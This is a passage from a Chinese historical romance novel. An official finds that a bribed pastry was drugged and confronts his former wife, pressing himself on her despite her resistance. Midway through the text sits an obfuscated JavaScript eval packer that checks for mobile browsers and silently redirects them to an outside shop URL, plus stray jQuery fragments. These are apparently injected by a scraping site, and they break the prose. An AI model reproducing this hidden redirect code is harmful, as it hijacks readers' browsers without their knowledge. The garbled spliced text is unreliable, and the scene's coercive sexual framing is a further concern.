“若是被那容文乐看见我,恐怕影响到夫人,夫人菩萨心肠,三皇子面前,我也会为万大人多多美言的!” *** 值房内只有容津岸一个人。 他虽已退出内阁、人也在丁忧之中,然而礼部事务杂冗繁多,加上秋闱将至,案头上堆成小山的公文一点一点变矮,容津岸是一旦开始投入工作便再难分心之人,故而万夫人来了一趟又走,他除了礼貌应对几句,并未放在心上。 大雨并未停歇,不知过了多久,容文乐进来,揭开桌案上的灯罩,将满手蜡泪换下,忍不住对容津岸道: “大人,公务是忙不完的,不若歇息片刻。” 那茶盏中的茶汁早已凉透,容津岸却连一口都没动过。 眼见自家主子全神贯注,容文乐又打开万夫人留下的食盒,细细往里一瞧,淡笑: “这份四叶奶黄酥手艺精巧,万夫人有心了。” “她那个夫君,成事不足败事有余,”容津岸这才开了口,手中的狼毫未停,豆大的烛光里,眉眼仿若笼罩着烟云, “若是送几碟点心就能官运亨通,哪里还有人愿意十年寒窗。” “大人的一贯作风,他们未必不知,一碟点心,料想万夫人只是顺手一送……”容文乐盯着松松软软的奶黄酥,口舌生津,“大人,你不介意小的替你来尝尝吧?” 容津岸睨过来,容文乐将食盒内的银箸递上,摸了摸鼻子:“小的随口一说,大人海量汪涵,不会跟小的一般见识吧?” “人小鬼大。”容津岸眉宇间烟云散去,他笑容清淡,好似春日的一缕清风。 这人连进食的姿态都优雅得体,容文乐瞧着,为他换上滚烫的茶水,正想再问味道如何,余光里却见,那盛放着四叶奶黄酥的永宣青花碟下,有一角旁的东西若隐若现。 拿出来,竟然是几张叠好的银票,加加总总,数额有一万两。 “一万两,岂不是……”容文乐眉头皱紧,心头的答案呼之欲出: “康和县主,这食盒是她的?” 谁料与此同时,原本面容端肃的容津岸,突然神色一变,银箸投落桌案,径直站了起来。 “备车,去客栈。”仔细听来,容津岸的声音竟然带着极强的、隐忍的颤抖。 容文乐自然不需要多问这个“客栈”到底是指的哪一家,只是在他应诺后,容津岸又冷冷吩咐: “银票收下,点心是罪证,仔细些。” 而此刻的值房门外,由于等候的时间着实太长,康和县主早已因为疲累不堪而与婢女靠坐昏睡,并未发觉她守株待兔了两三个时辰的容津岸,竟绕了道,从府衙的后门离开。 “大人,你的脸色发红,看起来实在是不妥当。” 马车上,容文乐满心都是担忧。 容津岸的面容俊朗依旧,然而额头上突兀的汗珠,颗颗分明滚落下来,淡和从容的眼也微微泛红,实在不寻常。 “不如去医馆,让郎中大夫看看?”容文乐小心提议。 那奶黄酥有问题,证据确凿,为何大人不将那罪魁祸首康和县主直接拿下,反而要去找叶娘子? 再说,若那奶黄酥中所加的药果真是他心中料想的那个,大人见到叶娘子,指不定会发生些什么后果不堪之事。 叶娘子的那个宁折不弯的脾气…… 容文乐不敢深想。 大雨依然在下,将大雨摇晃的车帘打得劈啪作响,车夫得了令加快速度,也将拉车的马屁.股抽得飞快,啪,啪,啪。 很快便到达客栈门口,容津岸轻车熟路,上到顶楼。 已近戌时末,问鹂和见雁正准备自行梳洗,忽然听到房间大门传来声响,不由得面面相觑。 然而敲门声并未断绝,两人共同行来,开门,却见到根本不该在此时此刻出现的容津岸。 昔日的姑爷一身紫蓝官袍,胸前的补子上绣着只有正二品大员才有的飞天仙鹤,不见官帽,高束的发髻落满雨水,就连他棱角分明的脸上,也还有几颗缓缓下落的雨珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730575|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “容、容大人……”见雁惊得双目大张,一向干练果敢的她,竟也期期艾艾起来。 然而问鹂毕竟经历过当日在山中庄园时容津岸擅闯一事,轻轻握了握见雁的手腕,对容津岸从容道: “我家先生已经就寝,容大人有什么事,奴婢可以代您转达——” “你们两个都出去,不准让任何人进来,”却被容津岸抢白,“我有事,必须要单独见薇薇。” 问鹂和见雁对视一眼,都很为难,又同时看向容津岸,却见一向清冷自持的年轻权臣双目通红,扫过来的目光犀利如剑,薄唇抿成一条线,下巴紧绷,额角甚至隐隐有青筋凸.起。 不知怎的,两个婢女竟然同时打起了寒噤,又同时对视一眼,不约而同往外走,把房间让出来,还顺手关上了门。 叶采薇已沐浴更衣,此时正坐于桌案之前,手边是为梅若雪和叶琛精心挑选的手信,墨刚研好,柔荑执笔,给远在京城的温谣回信。 这封信已经足足耽误了月余,今晚她才整理出思绪来,却不想刚落笔两行,便被门口的声响打断。 起身的同时,急促的脚步已至,叶采薇回头,容津岸高大挺拔的身影立于她身前,几乎只有两步的距离。 与他相识八年,从没有过这样一刻,让她觉得被他的阴影压住。 “你……你……”惊骇盖过理智,千万句疑问和攻击,都被压在了喉咙里,叶采薇瞪圆了杏眼。 “薇薇,我骗了你。”一身狼狈的容津岸,开口却是一句出乎意料的话。 他的眼角有水珠滚过,是混杂着汗水的雨水,“我并没有奚子瑜的音讯,他也根本没有到应天来。” 他睇过来:“还有昨晚上,我和国子监的同窗已经吃过饭了,我没有来接你。” 叶采薇怀疑自己听错了,这人向来把光风霁月的面子功夫做得很足,怎么三两句无关紧要的话,还夹杂着轻微的喘.息? 真的只为说这三两句无关紧要的话吗? 她不敢骗自己,容津岸的眼神,分明是不清白的。 “骗我就骗我,反正你过去也满口谎言。”她在“骗”这个字上做文章,视线偏移,语气冷硬, “我不在乎了,我这小小一方天地,也供不起你这尊大佛。” 她今晚沐浴时洗了头发,在阑风长雨的声响中用炭火烘干。她穿着海棠红的鱼牙绸睡袍,玲珑的曲线,娇嫩嫩的颜色,刚刚烘干的如瀑青丝被随意放于单侧香肩,露出另一侧纤长细腻的玉颈。 脚上的木屐似乎还滢着水汽,似是察觉容津岸的视线落下,嫩生生的脚趾先是一蜷,而后整只玉足后缩,藏入海棠红睡袍轻软的下摆,仿佛欲说还休,欲说还休。 “你也对我撒了谎,你明知道我误会了你和奚子瑜,却并没有澄清,你撒谎了。薇薇,你撒谎了。”容津岸的喘.息更甚,小山尖一样的喉结上下滚动。 “那就打平,”叶采薇心跳莫名加快,“你我打平——” 可谁知话音未落,男人竟驰奔过来,落入他怀抱里的感受,湿哒哒又燥热得不像话。 他坐在了方才她坐的圈椅里,他让她坐在他的怀里。 早已预料到她会反抗,容津岸先一步握住了她的腕子,叶采薇瞠目,稍稍挪动,有不容忽视的存在,躁动,蓬勃,甚至还有愈演愈烈的趋势。 从前的亲密无间太过刻骨,以至于明知眼下时移世易,脑海却只剩一片空白。 容津岸倾身,滚烫的呼吸落在她露出的那截细腻的玉颈上,仿佛下一瞬,就要将她彻底吞噬: “薇薇,薇薇。” “我中毒了,药石无灵,该死,该死。” “乖,像以前一样,帮帮我。”